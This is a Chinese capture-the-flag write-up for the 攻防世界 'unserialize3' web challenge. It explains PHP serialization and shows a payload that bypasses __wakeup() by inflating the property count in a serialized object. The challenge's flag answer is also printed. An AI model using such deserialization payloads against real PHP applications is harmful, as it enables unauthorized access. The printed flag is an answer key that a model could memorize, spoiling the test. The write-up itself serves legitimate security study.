攻防世界-web-unserialize3

首先看题目:

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

题目给的提示已经很明显了,是php的反序列化漏洞。
首先补充一下序列化和反序列化的相关知识,序列化和反序列化可以简单理解为一个打包和解包的过程(个人理解),就是通过这一过程将一个东西转变成另外一种形式(本质是一样的),这样转换的目的是便于传输或者有其他功能。在php中,序列和和反序列化有两个函数如下:
serialize()将一个对象转换成一个字符串。
unserialize()将字符串还原为一个对象。
这两个方法是如何使用的呢?先看代码

class test
{
	public $id;
	private $name;
	public function __construct($name,$id)
	{
	    $this->id = $id;
		$this->name = $name;
	}
	public function print()
	{
		echo $this->name.PHP_EOL;
	}
	public function __sleep()
	{
	//序列化之前执行,设置序列化哪些变量
		return ["id","name"];
	}
	public function __wakeup()
	{
	//反序列化之前执行,设置变量的值
		$this->name = 'xiaowang';
	}
}

$obj = new test('xiaozhang',1);
$obj->print();//此时的名字叫小张
$sStr = serialize($obj);
echo $sStr.PHP_EOL;
$str = unserialize($sStr);
$str->print();//此时的名字叫小王

test对象里面有两个变量和一个方法,在序列化之后
"O:4:"test":2:{s:2:"id";i:1;s:10:"testname";s:9:"xiaozhang";}"可以看到只序列化对象及里面的变量,方法不管。O代表对象,4表示对象名的长度,test是对象名,2里面有两个值,注意private变量序列化之后变成对象名+变量名,而且长度多了2位,testname的长度为8,现在是10,原因在于test前后多了%00,便于区分,即%00test%00name
反序列化利用有很多姿势,这个题目主要是利用了在某些版本(偷懒了)的php中,待反序列化的字符串中变量的个数(例子中test后面的2)超过了实际test类中变量的个数,__wakeup()方法会直接跳过不执行。
我们回过头来看题目

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

xctf类有1个变量,首先序列化一下xctf实例。

$obj = new xctf();
$str = serialize($obj);
echo $str;

打印出结果为O:4:"xctf":1:{s:4:"flag";s:3:"111";},题目中给出了很明显的提示?code=,直接输入?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";},把1改为2。就绕过了wakeup方法,不会exit出去得到flag。
the answer is : cyberpeace{218162f9f1d3b48f5b25354d8a6da945}

你可能感兴趣的:(web,php反序列化)